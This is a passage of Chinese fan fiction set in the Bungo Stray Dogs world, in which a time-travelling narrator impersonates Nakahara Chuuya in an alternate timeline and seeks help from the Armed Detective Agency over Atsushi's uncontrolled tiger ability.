甚至连那唯独剩下的那“5”的战力,也只是勉强加在了皮糙肉厚不好杀的技能点上。 突然,这人警惕的视线一扫,落到了我身上。 我控制的石子差点就应激地攻过去了。 但马上肉眼可见的,他放松了,周身环绕的恐惧瞬间就变成了释然和兴奋。尤其是紧跟着注意到了那无法忽视的悬空石子,他脸上的幸福洋溢根本就掩盖不住。 或者说,他也不想掩盖。 “中也大人!” 那人手一松,赶紧将枪口压下、不敢再冲着我,自己也俯首单膝跪地,一副乖顺的模样。 他这毫不掩饰的声音,迅速将信息传递给了其他跟在他后的人。 脚步声密集起来,一排穿着相同制式服装、带着相同制式武器的黑衣人齐排跪了下来。 这阵仗,要是我再反应不过来,我也就算是白混了。 他们都是港口黑|手|党的小兵! 没有异能力的普通人,难怪害怕得不得了,这么一点枪械,只怕难以限制暴躁的敦敦。 对他们的出现,我是有一瞬间的疑惑,但并不觉得非常奇怪。以港|黑和侦探社那表面敌人、内里亲属的关系,危急时刻彼此互相照应才是正常的。 但如果真的到了要让港|黑小兵来接应敦敦的地步,那情况一定非常糟糕。 我挥手让他们站起来,顺手拢了一下发尾,将脸侧的「荒霸吐」纹遮盖严实。和他们这些普通成员解释自己的身份太麻烦了,不如干脆借一下中也大宝贝的身份。 他肯定不会介意的。 “情况如何了?” 我压低嗓音,模棱两可地问——发挥上司谜语人特权,发出考题:揣摩出题人的意图。 为首的黑衣人一直保持着低头的状态,非常有眼色地没有展示自己那接近一米九的身高,“正如首领大人所预料,中岛大人果然失控了。三组的敢死队将中岛大人引入了森林,我等按照指示,在外围将森林隔离起来,在天空初亮之时进入森林接应。” 难怪昨天一直没有人接近,难怪那么大动静都不曾引起什么骚动,原来是港|黑封锁了森林。 不对,等等! 中岛……大人?! 港|黑的小兵在叫敦敦“中岛大人”! 什么样的情况下,港|黑小兵才会称呼他为中岛大人? 我瞳孔地震。 有没有搞错啊,我可是根据上次穿越的纪念品——那一页「书」的残片,并且花费了大量诅咒力量,才精准定位了这个时空点。 有路引在,我这一晚上根本没有往其他地方想…… 不、不会吧!? 我仔细回忆着昨晚所看到的敦敦的服装——可当时那件衣服已经破破烂烂不说,我也是实在没有在意,现在只能想起一个带血的毛领子。 但那个带刺的choker,我可是看得真真、记得切切。 正想到这儿,黑衣人头头就已经双手将新的choker盛到了我面前。 嘶——这个锥形大刺,我看着都觉得脖子疼。 我看着地面上盖着过大驼色风衣·脏脏版的敦敦——一脸安详、一脸无辜,冷白的皮肤上挂着一片一片的血痂,衬得他极为可怜。 就连眉间化不开的苦闷都在此时格外惹人怜爱。 这、这让我怎么下得去手、把这么个可怕的choker戴在敦敦的脖子上? 已经完全不是XP,而是虐待的级别了啊,喂! 一旦跳出了时空定位的思维定式,我哪还能反应不过来。 造孽啊,是if线! 是白色死神敦! 救命,救大命。 If线——那我要怎么从这个世界的if宰手里,把「书」抢过来? 我又要怎样才能在这条线里把安吾从异能特务科手里拐走? 这真的是我能做到的事吗? 世界意识真是见不得我一点好。 任务难度超级加倍。 我恨不得马上跪在自己损坏的手环前。 外挂呢,快救一下啊,我的外挂君! 第62章 我, 进退两难。 提问,在已经使用了中也身份之后,才察觉到自己其实是在IF线世界。此时, 我应该…… A.马上认错、光速滑跪, 让世界看到我的从心——这个选项太掉价了,人设大崩盘; B.把知情人士全部干掉,这样就没有人知道我的存在啦——救命, 能不能下得去手且不论,要是真的动了手,那可就是明摆着和港|黑结仇了,不死不休啊; C.真诚是最好的武器, 试图和IF线首领宰讲道理, 并直接冲到港|黑伸手和IF宰要「书」——有五成概率被一通忽悠、然后扒下马甲,三成概率被控制起来成为IF宰棋子,两成概率直接go die; D.总而言之,一装到底,紧抱中也大腿喊大哥——九成概率被收入港|黑做小弟, 最终成为IF首领宰的棋子, 一成概率直接go die。 真是条条大路通地狱,没有一个好下场。 都怪思维定式, 我根本就没有往IF线上想过一下, 这才导致我失了先机。 现在,我已经悍跳中也牌了, 再想转战暗线也完全来不及。 我低头看了看自己手背上的「荒霸吐」纹, 尤其是这个东西, 本来是想要写个旧情再续的剧本, 现在看来简直是画蛇添足, 生怕别人看不出我是个盗版中也。 幸好中也的头发多,我可以稍微遮盖一下,这些港|黑小兵也不敢观察和试探干部大人。IF线里的中也,可是名副其实的二把手。 而且在这个世界,应该也没有第二个人能使用重力操作这样的异能力。 我接过那恐怖的choker·白色死神敦敦特供版。手指摩挲着锥尖,我隐约能够感觉到这锥子对异能力的影响效果。 冷静下来回忆,昨晚的束缚炸开之后,那一瞬间隔绝了我异能力的亮片应该就是隐藏在choker里的真正力量。 否则,只是简单的肉|体伤害,极端情况下,只怕无法完全组织敦敦的兽化。 我心中忌惮,这个世界的小兔宰子究竟做出了什么装备,如果它能对敦敦产生限制效果,就有一定概率也能压制我。 即使昨日我的「荒霸吐」纹最终确实是绞杀了那个结晶,但其仍然是个风险。 我摸了摸自己脖子上的那根choker,心中暗暗下定决心,绝不能让这种限制级的东西戴到我是脖子上来。 虽然思来想去都没有什么上策,但贸然闯入IF线的港口黑|手|党绝对是下限触底的下下策。 这个世界的「书」大概率就在宰子的手上——太宰治+「书」,正面刚的话,完全没有胜算。 折中一下,找点外援吧。 至少先了解一下这个世界的时间线和进展。 我在上一个世界吃过亏了,情报才是第一生产力。 “从现在开始,中岛的事由我全权接手,你们不必再过问,外围的人也撤走,直接回去复命就是了。” 我将choker收了起来,却并不打算使用。 下不了一点手,我相信凭我的能力,就算是强行压制也能压住敦敦,用不着这么血腥的手段。 OH,我可爱的敦敦! 小兵们左右对视交换眼神,似乎有所顾忌,不敢拒绝我,但又不敢真的放手离开。 仿佛非得亲眼看着choker戴到敦敦脖子上不可。 IF宰到底建设了一个怎样的港|黑? 我眼睛一眯,释放了一点诅咒威压——说实话,诅咒虽然只是残余力量,但对普通人来说,这种由人类负面意识产生的力量,可比异能力带来的威胁感大多了。 马上,眼前的小兵柔抖若筛糠,本就因敦敦而存在的恐惧,被诅咒一激,根本收不住波动,不可控制的失智。 我可是扮演过堂堂诅咒之王的人,这点气势一压一放,已经很收敛了,“不该知道的,不要知道——该怎么写报告应该不用我亲自教你吧?” “不用不用!” 几人再不敢有一点犹豫,标准九十度躬身,便逃似的离开了这里。 论装逼,我可是专业的。 我也知道,这事儿估计是瞒不了多久,宰子何等敏锐,敦敦一旦晚归,他很快就会意识到问题所在。 可我却不能轻易把敦敦放回去,他是「钥匙」,是打开「书」的「钥匙」。 这个设定确实模糊不清,但在无法直接接触「书」的情况下,我必须得抓住这一点作为切入。 正面硬刚首领宰什么的……我真的还想多活几年。 我亲眼见证过「书」页的使用——虽然不是这条时间线,但我也隐约知道,「书」本体的用法比单纯的一页「书」纸残片,更加复杂。 「钥匙」既然存在,就必然有其道理。 不能再等,我用风衣将昏睡着的敦敦卷巴卷巴,往肩上一扛,抬腿就溜。 提起和港|黑作对,我的第一反应果然还是侦探社。 在「书」和安吾之间,我必须优先前者。 没有安吾只是多加一点班、多干一点活儿,没有「书」的力量,我直接困在这里,回都回不去。 更何况,异能特务科的顾忌多、规矩多,合作起来自然也非常麻烦。 我的评价是,不如侦探社。 不仅有社长的「人上人不造」帮敦敦保底,还有乱步小可爱的剧本杀拉高上限。 我一边赶路,一边细致地将自己的COS装备全套在大脑中过了一次,面对乱步,就算无功也不能有过,我得确保自己接下来的说辞没有破绽。 避开一切可能存在的眼线和监控,靠近侦探社之时,一套完整的剧本,已经在我的脑中逐渐形成。 我用力闭了闭眼,深呼吸调整状态,将自己胡乱跳动的心脏压了下去。 再正常一点、再淡定一点。 这又不是考试,我不紧张。 “咚咚咚——” 我敲响了侦探社的门。 “啊——请稍等!” 里面传来一个清脆的男音,他似乎撞到了什么东西,脚步毫无章法地在木质地板上踩出了自己的慌乱。 数秒之后,脚步声才停在门的对面。 “咔嚓”一声,门被拉开,男孩儿带着些抱歉和羞涩的脸出现在我面前,“呼……客人先生,很抱歉,现在还不是营业时——” 他清纯的笑容突然僵住了,张着嘴,后面话怎么也说不出来。 我歪头一笑,“早啊,妹……咳,谷崎君。” 是同样橘发的同伴——妹控润一郎! “中原中也?!” 妹控润一郎瞳孔地震,一连向后退了好几步,我能嗅到一点点的恐惧,不愧是侦探社赫赫有名的“东之胆小鬼”,“——港口黑|手|党!” 这张脸在横滨,简直不要太有名。即使有一点特殊纹身,也绝不会有人不认识。 他的异能力几乎要应激般地释放出来—— “我劝你不要对我动手。”我赶紧开口,接着一步踏进侦探社内,或许是因为声音的用力,我直接在地面上踩出了一个窟窿。 我甚至没有主动使用异能力。 昨晚压制敦敦的时候我就意识到了,因为我这次脑抽,给自己加了「荒霸吐」buff。所以这次,我的力量从一开始就带着失控的风险。 即使我自己主观只想用一分力,也随时有可能成倍、甚至几倍输出。 我自己是没什么危险啦,但和我动手的人可就不一定了。 时间尚早,我的手环虽暂时下岗,但天空只是堪堪泛过鱼肚白,所以我猜这个点还远远没到上班时间。 侦探社内也确实空空如也,甚至连直美酱都不在,地面湿漉漉的,拖布和拖桶都在门边。 妹控润一郎显然是来打扫卫生的。 我眼睛扫到墙上的小黑板,上面赫然排列着值班表。 我通过妹控润一郎的名字迅速确定了今天的日期,又恰逢墙角的钟声想起——七点整。 “港口黑|手|党、到侦探社来,到底有什么目的?!” 妹控润一郎咽了口唾沫,过度放大的声音根本不是说给我的,而是给他自己壮胆的。 中也的震慑力可真大。 我与有荣焉,“要是想叫人,就直接叫,不用把手放在身后盲打,打错字了可怎么办?” 他身体一僵,完全把我的话当成了威胁,不敢再动。 但说实话,我是真的希望他能赶紧摇人过来。 我本来就是希望和侦探社精诚合作。 肩上的光屁股敦敦越发的沉,仿佛真有那一只大老虎的体重似的,让我只想把这个负重卸掉。但若是直接扔到沙发上,这风衣上又实在太脏。 我眉头一皱,一眼扫过妹控润一郎的身形—— 嘶——合适,太合适了! 我眼睛一转,对着他勾了勾手,“你,脱衣服。” “哈?”妹控润一郎眼神一空,下一秒缩到墙角,紧紧地抱住了自己,“你、你要干什么!” 我咧开嘴,邪恶一笑—— 干什么? 当然是自己淋过雨,所以要把你们的伞也全都撕掉! 第63章 妹控润一郎瑟瑟发抖地抱着自己, 蹲在角落,时不时还发出“嘤嘤嘤”的低鸣,一副自己不干净了的样子。 也不用这么夸张吧, 我不是给他留了平角裤在身上吗? 想想我之前的经历, 这已经很良心了。 妹控郎的心理承受能力真是有待提高。 明明已经被妹妹直美酱扒过那么多次了呢。 看来以后得多多“照顾”他才行,这可是成长的必经之路。 看人家敦敦,都已经这么折腾了, 竟然还是“不动如山”,一点醒过来的迹象都没有。 「月下兽」的消耗对他的身体负担比想象中还重。 我坐在沙发上给自己泡了壶热茶。 昨晚在雨后的森林冻了一夜,衣服被泥土中的水分渗得发潮,没有和妹控郎一起瑟瑟发抖, 是我最后的倔强。 这个时节的横滨可真冷。 我甚至怀疑, 如果没有昨晚的敦敦原生大毛床,我会直接冻成僵尸——开局变僵尸,开启新型IF线。 这是热血少年漫,不是瘆人恐怖漫。 你可千万要挺住啊,画风君! 好在侦探社内还是很暖和的, 和我记忆中的侦探社不尽相同, 客厅侧面甚至有一个明火壁炉,妹控郎一早过来就已经生起了火, 将客厅衬托得更为温馨。 仿佛不是个办公地点, 而是个温暖的归处。 等了不多一会儿,走廊中就响起了复杂的脚步声, 紧接着侦探社的门就被匆忙推开。 “哥哥!” 直美酱一眼就看到了角落里被“霸凌”的妹控郎, 刚才那重叠的脚步声中最凌乱的那个一定属于她。 那另外的轻快的脚步和一种近似于无的稳重声音必然就属于…… “福泽先生、乱步先生。”我不用回头就能判断出他们的身份, 毕竟我可是和社长学习过一丢丢剑术和基础步法的人, 对侦探社和港|黑成员的脚步声, 我肯定是熟悉的。 我感觉到尖锐的视线落在我背上,没有太重的杀意,反倒是探究和好奇占据着上风。 这应该是乱步的视线。 我在心里默默重复了一次剧本原则—— 首先的第一要旨,就是绝对不能对乱步说谎。 在他面前,纯粹的谎言风险性太高了,只要有一点破绽就会被全部拆穿。 面对他,要么就要做到太宰治那样的滴水不漏,要么就干脆学会坦诚。 “港口黑|手党|的干部首席,中原中也。” 社长声音雄厚,底气十足,丝毫没有因为势大□□干部的到访而感到慌乱,“来此有何贵干。” 我张嘴,还没有说话,乱步就已经先一步轻踮着脚,一屁股坐在对面的软椅上,深入贯彻落实“眯眼的都是怪物”这一二次元定律,直接否了社长的答案。 “不是一个人吧。” 甚至不是疑问的语气。 大概是刚刚穿越的缘故,我身上的破绽并不算多。 乱步并没有一眼就推理出更多,但却很确信我和这个世界中也之间的差异。 “不愧是乱步先生,”我摘下帽子,手指拨弄头发,将脸上的印记露了出来,“我和你们认知当中的‘中原中也’,确实不是一个人。” 只是“不是一个人”——这便代表了有可能是同位体、也有可能是另外任何不相干的人。 我悄咪咪地钻了个这么个空子。 但不知是我做贼心虚还是乱步真的察觉到了什么,他的眼睛明明没有睁开,我却一阵如芒刺背。 和他相比,社长这个曾经的“银狼”反而没有带给我更多的压力。 他很直白,没有兜圈子试探,而是用真诚换真诚,“在下福泽谕吉,武装侦探社的社长,阁下怎么称呼?” 太宰治,赶紧学着点啊! “嗯……姑且,叫我‘荒’吧?”我手指点在下巴,这次可没有人帮我掩盖姓名了,当然要想一个代号来自称。 “中原中也”的名字太招摇,他的身份也太招摇——特别是在这条IF线里。 我的评价是,不如“荒霸吐”。 当然,这个名字——即使是简称,对于社长这个经历了横滨格局多次变化的人来说,也绝不陌生。 果然,我话音一落,他的瞳孔便钉在我身上,将我上下打量一番——尤其是我|裸|露皮肤上那一条条清晰的纹路,红色的暗光隐隐流动着,仿佛带着某种难以揣测的生命力一般。 “荒?荒霸吐。” 社长似乎感觉到了我坦诚的坦度,一点也没有打哑谜的意思——幸好面对的是老实人社长,如果是老森头,那光是自我介绍的部分,我就得减寿两年。 我颔首,毫不避讳乱步的打量和社长的视线。 毕竟这也不算是说谎,我确实曾经有过「荒霸吐」的身份。 我这样肯定的态度,反倒是让社长本就严肃的眉头锁得更深,“「荒霸吐」只有一个。” 而在横滨,对于这些大大小小的组织势力来说,那个曾经制造了镭钵街的“天灾”的人形身份,几乎是公开的秘密。 ——中原中也。 我带着和中也一样的面孔,用着「荒霸吐」的名字,却否认了中也的身份。 确实让人困惑。 “身份分离?” 这是社长的第一个猜测,“还是,同系生命?” 他的两种猜测,要么是我和中也是一体两魂的分离,要么是同类荒系能量一魂两体的不同个体。 我揪着五官仔细斟酌了一下社长两个答案的指向,“嗯——其实都不太准确,但我自己也很难解释。事实上我自己也没有完全搞清楚状况……” 比起说出一个结论被推翻,不如先听听学霸的答案。 我求助似的眼神看向了乱步。 遇事不决问乱步,社长也对着乱步点了点头。 后者一下子站了起来,甚至一脚踩在了桌子上,“看来,还是要本侦探出马才行啊!” 他把帽子摆正,从口袋中掏出自己相当宝贝的眼镜。 “异能力——「超推理」!” 说着还手动将披风甩开,制造出了一种风动特效。 仪式感十足。 但社长也愿意陪着他胡闹,甚至刻意用自己的异能力撩动起乱步的披风,让这种“飘逸”感更加持久。 看不出来啊,社长也是“童心未泯”。 旁边被直美酱抱在怀中安慰的妹控郎同学更是一脸闪亮,非常期待。 让我怀疑,他不会也是第一次见乱步这样大显身手的吧? 我正襟危坐,思维却胡乱飘忽着。 “嗯嗯——原来如此,”乱步推着眼镜,仿佛柯南一样的反光镜片下,是那双翠绿的瞳孔,他开口就直接跳过中间一堆解释,直接给出了最终结论,“你,不是这个时空线上的人吧?” 还不等身后的妹控郎同学有什么惊异反应,我就率先惊喜鼓掌,给乱步喝彩,“不愧是乱步先生!这么快就看出来了,也太厉害了吧!” 我的赞叹真心实意。 虽然早有心理准备,但真正见识到的时候,还是会惊叹。 在来之前,我可是专门细致地检查过自己的C服装扮,确认没有破绽我才敢敲侦探社的门。 乱步昂着下巴,小猫一样翘着尾巴,骄傲地“哼哼”了两声,对我的眼神非常受用,“那是当然的了——” 愉悦的心情,甚至少有地多解释了一句,“就是因为太‘干净’了,才不可能是此世之人……当然也有其他不少选项,但排除掉一切的不可能,自然就会留下真相!而且我敢肯定,你自己也在意外之中,出现在这里绝非你的计划。” 这条结论大概是我从身上干了的水渍上看出来的? 毕竟我昨晚在泥水中那样狼狈,脏脏的风衣还团在角落的垃圾桶边。 “社长——”乱步拖长了语调,一脚仍踩着桌子,歪头看向社长,“他,从某种意义来说,还算是你的半个弟子呢。” 这下,连社长这样定力的人都表露出了一丝意外和惊异。 乱步,你真是我!的!神! 我就知道,刚才故意用社长教过的一些动作来制服妹控郎这件事,一定能给乱步留下一点线索! 我一眼惊喜,“我没来记得和福泽先生学习太多——这都能看出来吗,不愧是最强的能力「超推理」!” 在乱步面前,我直接化身马屁精。 他简直是个天使,如果是宰子的话,就算看出来了也一定会当谜语人。 乱步就直接多了——少一点套路多一点真诚,和谐相处每一天。 我要感动哭了啊,喂。 “不仅如此,我还知道,在你所认知的时空线里,中岛敦,是侦探社的人,对吧……啊,原来如此,是因为社长的「人上人不造」。他的能力带有失控的风险,社长的异能力确实非常合适……” “诶——!”妹控郎惊声尖叫,“中、中岛敦是我们侦探社的人?!” 他一整个瞳孔地震,简直怀疑人生,“怎么可能,他可是港口黑|手|党杀人不眨眼、被视作死亡化身的‘白色死神’啊!进入侦探社什么的……完全不敢想。” 我能感觉到,他既不愿意相信,又不敢怀疑乱步的答案。 我咧嘴笑了出来,进一步刺激着他,“你猜怎么着?在侦探社中,你超照顾他,敦口中的‘大前辈’。”说着,我向后用力靠在沙发上,妹控郎几乎是应激地一抖,紧抱着妹妹躲得更远。 “而且,‘白色死神’算什么,太宰治也一样是侦探社的成员啊。” 我故意这样说,为的就是再次确认一下宰子在这个世界的身份、确认一下IF线的进展状况、确认一下IF线和我记忆中的重合程度。 果然,妹控郎的反应最直接地给出了答案,他一瞬间连对我的恐惧都忘记了,伸长了脖子,音调拖得又长又高,“哈——?!” 他一脸敬畏,大张着嘴,半晌都合不上,“谁?那个港口黑|手|党的首领吗?属于侦探社?骗人的吧!” 第64章 别的不说, 至少宰子的身份确认无疑。 妹控润一郎的反应直接打碎了我最后一丝幻想,果然是IF线,果然是首领宰的IF线。 寄。 我恐怕是真的要在虎口里拔牙——从宰子的手里掏宝贝了。 再没有一丝侥幸。 有了这个情报, 我就更需要紧紧抱住侦探社的大腿——尤其是乱步桑的大腿。 我别的不缺, 就是缺一个能够制衡宰子的大脑。 搞权谋实非乱步之所长,但任何权谋都很难真正瞒过他的眼睛。 这对我来说,就已经足够。 侦探大人实在是太顶了, 我那张口就爆出来的宰子身份差异,连社长都为之侧目,但乱步却一副尽在掌握的样子。 “果然,就是因为这一点认知差异, 所以你才会把中岛敦带到侦探社来了。恐怕, 你已经惊动港口黑|手|党了吧。” 我肩膀一垂,满目愁容,“唉——谁说不是呢。我完全没想到啊,那个人竟然做了港口黑|手|党的首领……但他现在应该还没来得及知道我的存在,见到我的, 只是港|黑普通成员, 他们把我当作了中也。我稍微狐假虎威忽悠了一下,应该……还能骗一会儿吧?”我瘪着嘴, 吐了吐舌头, 话头一转问,“但, 如果太宰做了首领, 那老森头——呸, 我是说, 森先生呢?他那种人会屈居人下?” “嗯——港|黑换代的传闻很多, 但没有人知道答案。最普遍的猜测是,现任港|黑首领弑主上位。”直美酱果然比自己哥哥更加靠谱,她很快就从惊异中恢复过来,在判断了社长态度后,很快就主动给了我答案,“但不论这种猜测是否为真,前任首领森鸥外,一定已经死了。” 港口黑|手|党这种组织,首领让贤几乎是不可能事。 且不说前任有没有让贤的度量,继任者就不可能放任一个有首领级别号召力的人活着。 权力之争本就沾满血腥,更何况是在黑暗世界之中,必得是你死我活之景。 当然,我站在上帝视角,从IF线的内容上来看,老森头大概率还活着,甚至是提前过上了萝莉孩子热炕头的养老生活。 但直美酱可不知道。 “你,看上去似乎并不惊讶?”妹控郎缓过神来,便注意到了我微妙的神色。 我挠了挠头,“嗯……怎么说呢,情感复杂。太宰的话,确实也是能做出这种事的人啊,毕竟他和森先生之间本就有不可调和的东西存在。” 黑泥这种东西,是不可能共存的。 只要拥有造反的能力,对于当权者来说就等于造反——森先生永远不可能对宰子放心。 所以不论有没有Mimic事件、有没有织田作横在中间,他们两个都不可能长期共存在一个组织之中。 任何事件、任何敌人都可以成为由头。 社长虽然不了解宰子,但他非常了解老森头。 只看现在宰子的作风,他就能get到我的意思,也能猜到那两人之间的矛盾。 我对那二人表现出来的了解,无疑增加了自己人设的可信度,获得了一些来自社长的认可。 “从各种意义上来说都很微妙,所以这条时间线的博弈结果,和我记忆中的完全相反了啊……” 我喃喃自语。 就在此时,侦探社的大门再次被推开。 我的视线不自觉地被这股动静吸引过去,视线流转间,我看到了白月光。 是!你! 织甜刀之助! 一个在甜和刀之间,左右横跳的人! 即使猜到了他的生存,我的瞳孔依然在看到他的瞬间骤缩,我尽情地展露着自己的意外和震惊。 恨不得让所有人都知道我此刻的心情。 我眼神中的情绪盈满溢出,就连不明状况的织田作都清晰地察觉到了。 他看了看自己的衣服装束,怀疑是不是哪里破了洞,接着又摸了摸自己有些凌乱的发型,猜测是不是哪个孩子又偷偷给他扎了根小辫。 最终他还是有些茫然地问了出来,“我有哪里很奇怪吗?” “不……不如说,你只是活着站在这里,就很奇怪了。”我的声音并不大,仿佛是怕惊碎了什么一样,甚至像是一种无意识的呢喃,“你,竟然还活着——该说是意外?确实,太宰的博弈赢了,但你竟然在侦探社……牛!” 如果换作是别人,一定会觉得我的言语冒犯。 但织田作就不一样了,有些天然呆的性格让他的反应与众不同,“额……谢谢?” 你看,他还得谢谢我。 恰在此时,旁边的钟声敲响,整整八声。 这是侦探社上班的时间,妹控润一郎的紧急电话恐怕只打给了社长。 织田作是来上班的,他没有把我当作什么危险人物,似乎只是意外于委托人上门的时间竟如此早。 我盯着织田作,发出一声恍悟,“原来是这样吗……对,说得通。如果是织田作的话,太宰确实会反击,然后赢了森先生,一切都是他做主的话——完全说得通啊!” 听着我的话,乱步若有所思,社长也在斟酌,只有妹控郎捕捉到了自己的重点,并且指了出来,“织田作?织田先生的名字是作之助,我应该没有记错吧?” 他说着,还确认似的看向了织田作。后者也点头,给了他肯定的答案。 不过,织田作并不是特别在意别人如何称呼自己。 我看着他的态度皱眉,“诶?没有人这样叫过你吗?” 织田作诚实地摇了摇头。 我收回视线,故意加快了一点呼吸速度,却没有再开口。 再说更多就显得假了。 以乱步的推理能力,到这一步,他应该就能看到底了。 我没有冒险去觑社长和乱步的神态,现在我才是被观察对象。 ——这让我略有紧张。 仿佛是为了回应我的情绪,面朝下的敦敦也突然蛹动起来,他的喉咙里发出猫科动物特有的呼噜声,大概是意识仍不甚清醒,半睁的瞳孔有些发散,仿佛无法集中精神。 我把脸凑上去,敦敦视线凝聚的瞬间,便直直看到了我的脸。 瞬间,他就像是被浇了一盆凉水似的,眼睛里仿佛实体化了两根感叹号。 “中原干部!” 他似乎很怵这个世界的中也,几乎是本能地一个鲤鱼打挺,直勾勾地站了起来,甚至没有意识到这是“敌对势力”武装侦探社的地盘。 但紧接着,他看到了我脸上的荒纹,那直白的面孔上完全藏不住心事,困惑溢出了眼睛。 当然,他并没有开口。 港口黑|手|党的规矩,下属是上司的执行工具,尤其是战斗人员,他们不需要任何思考能力。 通常情况下,他不可能被允许向上司提问。 只是敦敦的情况和普通成员还略有不同,他那来自于白虎的野兽本能在提醒着他,让他的异能力几乎控制不住地发动,毛茸茸的肉垫代替了手掌,虎爪尖锐的指甲上还闪着带血的寒光。 我眼睛一眯,释放出了一些「荒霸吐」的气息。 瞬间,他的眼睛发直,流光般的金色填补在瞳孔中,瞳心一竖,他的头发都如绒毛般炸了起来。 特殊的刺激直直戳动了异能本能,那原本就宰子刻意放任成长的兽性在没有脖颈choker束缚的情况下,迅速占据了上风。 妹控郎那可怜的衣服,就被老虎撑成了碎片。 第65章 敦敦再次大变活人, 这一次,因为提前就有心理准备,我对他变身的细节更加关注。 首先膨胀的是骨头, 有那么一个瞬间, 我甚至觉得,他的骨头撑破了皮囊——白花花的骨架在空气中快速变形之后,成了四肢着地的模样。接着是肌肉和血管, 内脏被肌肉挤压着运动,皮肤和绒毛紧随其后,覆盖在外。 这一切只在数秒内完成,普通人的动态视力根本无法捕捉。 但这个“普通人”的范畴显然不包括社长。 虽然还稳稳坐在自己的位置上, 但我能看到, 他的大拇指顶着刀颚,冷光已经出鞘半寸。 我抢先一步上前,手背上的纹路一亮,顿时白虎便被挤压极强的重力所包围——“咚”! 白虎重重地砸在地面上,留下了一个大坑, 地板随即蔓延出蛛网状的裂纹。 “冷静一点, 敦。” 要是让“银狼”出手,那受伤的, 可就不仅仅是一个地板了。 以武装侦探社社长的身份, 应该能够搞到敦敦的异能力表现,“超回复”就意味着不需要顾忌, 不论如何伤害他、如何攻击他, 他总会很快恢复。 一种极致的美强惨设定。 我看着龇牙咧嘴的敦敦, 一手放在他的眉心, 毫无收敛地释放着我能使用的一切威压——我不会遗漏刚才的细节, 敦敦就是在我「荒霸吐」气息泄露之后,原本在变身反抗与俯首屈服之间的摇摆态度才坚定起来。 换句话说,是「荒霸吐」直接刺激了敦敦的变身。 昨晚我就意识到了,敦敦那异常强烈的攻击欲望。只因昨夜是月圆之夜,变量太多,以至于我不能确定我这无法隐藏的「荒霸吐」身份是否是根因。 现在一撩拨才算有了答案。 在中也的面孔下,敦敦的恐惧是“人”的恐惧,但当「荒霸吐」的威压释放之时,他那“人的恐惧”转化成了“兽的反抗”。 我一直在有意地观察、试探他身上任何“钥匙”的元素。 在没有任何提示的题目里,我必须要把一切能够想到的选项都尝试一次,首先就是我最直接能够掌控的力量的尝试。 当然,要论“特殊”二字,在横滨的地界上,我会想到「荒霸吐」这个力量也不算奇怪吧? 即使这个选项只是试了错,那作为一份展示给社长和乱步的素材,其实也很不错。 “吼——!” 敦敦在我的掌下发出了剧烈的嘶吼,他的声音也是白虎力量的一部分,当某种极端情绪被触发之时,吼叫就成为了一种直接的力量。 “唔!”旁边唯一的无能力者直美酱受到的直接刺激最快,她捂着耳朵,蹲在地上,似乎想要用自己的声音来对冲外来伤害。 她的反应无疑最直接地刺激到了某人的神经,妹控一郎超进化——谷崎润一郎! 我能从他启动的异能力里嗅到他情绪的变化,从畏惧、惊异到愤怒,他的情感非常直白。 眼前的画面在浮动,妹控郎的能力已经在发动边缘,「细雪」的文字从他身上溢出,混乱地奔向敦敦。 中也色的美瞳之下,我自己瞳孔本色渗了出来,异能力的发动随之超标,巨大的重力压在敦敦的脊背上。 但很快,这种压力就变了形。 我能清晰地感觉到,自己体内就像是某种深渊,吼叫着吞天噬地,仿佛要破体而出。 我体内的某种声音防腐和敦敦的虎啸重合起来。 有过前一次的经验记忆,我很快就反应过来,我这个人设之下的“体内音”只有一种可能——「斗尖荒霸吐」的本体! 那杆能够将天地连接起来的尖枪。 为了应对乱步的审查,我几乎是放任自己沉浸在上一次的人设当中。 即使是IF线,本质上也是本传线的延伸。世界意识有相同的性质,祂对我的人设有过存档,所以几乎不需要过多的组建,祂就能迅速接受我的存在。 只是,这把“神枪”和敦敦异能力之间的呼应是我没有预料到的。 上一次,敦敦与「荒霸吐」中也交手的时候,「老虎」明明没有什么异变的! 不……或许是当时兔之介的异能力覆盖在外,以至于削弱了这种联系;或许是社长「人上人不造」的控制下,「月下兽」没有现在的狂躁;又或许是当时的我太过专注于中也,所以心思根本就没有放在那时的敦敦身上…… 我鼻翼一动,空气中弥漫着不同的味道——上个世界的诅咒依然留有残余,它无法起到实质性的攻击效果,但却让我能够感受到他们异能力中携带的情绪。 比如妹控郎的愤怒、比如“老虎”的狂躁、又比如……敦敦的恐惧。 我心中一惊,敦敦和老虎,竟然是两种完全不同的味道。 这意味着异能力者和异能力之间,成为了两种全然不同的个体。 上一个有如此分化的异能力关系,还是中也和「荒霸吐」。 我不由瞪大了眼睛——难道说,敦敦的“白虎”和「荒霸吐」竟然是同一种类的东西吗! 失神之中,我压着白虎额心的手不自觉地用力一攥—— “咔嚓”! 让世界静音,聆听敦敦颅骨碎裂的声音。 我一转头,就见自己的手背上扎着一杆一指宽的微型枪——我一眼就认出了它的形状,虽然变小了,但这绝对就是斗尖荒霸吐的本体形状! 在我眼睛的注视下,那杆枪沿着破碎的颅顶扎入了虎头内部。 顿时,白虎那金色的瞳孔中就坠入了一缕红到发黑的流光,瞳心在这种力量下涣散。我盯着这瞳孔,某个瞬间,我仿佛像上个世界一样,踏入了别人的记忆——视角转换,看白虎之所看、感白虎之所感。 比起敦敦,我仿佛才是这个异能力真正的主人。 “收!” 我一声令下,白虎眼睛上翻,骨骼回收,肌肉挤压着内脏挪动,白色的皮毛像是被熔炼成皮似的,只留下那一头狗啃般的碎发。 这一次,敦敦没有失去意识,而是半跪在原地,一脸恍惚。 突然,他猛一抬头,看我的眼神像是第一次认识这个世界一样。 “你,不是中原干部,你究竟是谁——为什么,白虎在回应你!” 第66章 提问, 白虎和「荒霸吐」有什么关系? 白虎的主人回答不了,难道「荒霸吐」的主人就知道了吗? 如果只是一点应激反抗,还能用白虎的本能来解释, 但我几乎是到了能够以白虎的视角, 控制白虎的地步,这就诡异了。 我耸了耸肩,不置可否地笑了一声。 敦敦拿不准我的态度, 但完全回过神来的理智很快就意识到了这里的环境。 作为港|黑的白色死神,他虽然在宰子的有意回避下,没有执行过和武装侦探社直接相关的任务。但这几个重要人物的脸,他绝不可能不知道。 敦敦瞳孔一缩, 瞳心竖成了条状, 瞬间进入了战斗状态。 凶悍的神态让人畏缩,眉目间的坚决仿佛无所畏惧。 但我闻得清楚,他自己满身恐慌,这种表露无疑的攻击态度仿佛是他自己用来抵抗恐惧的工具。 不一定是对侦探社的恐惧,也可能是对宰子的。毕竟如果被人发现他友好地坐在侦探社, 就有被当作叛徒处理的风险。 我猜, 港|黑内部不会没有过类似的先例。 与其说敦敦在害怕社长,倒不如说他是在害怕港|黑。 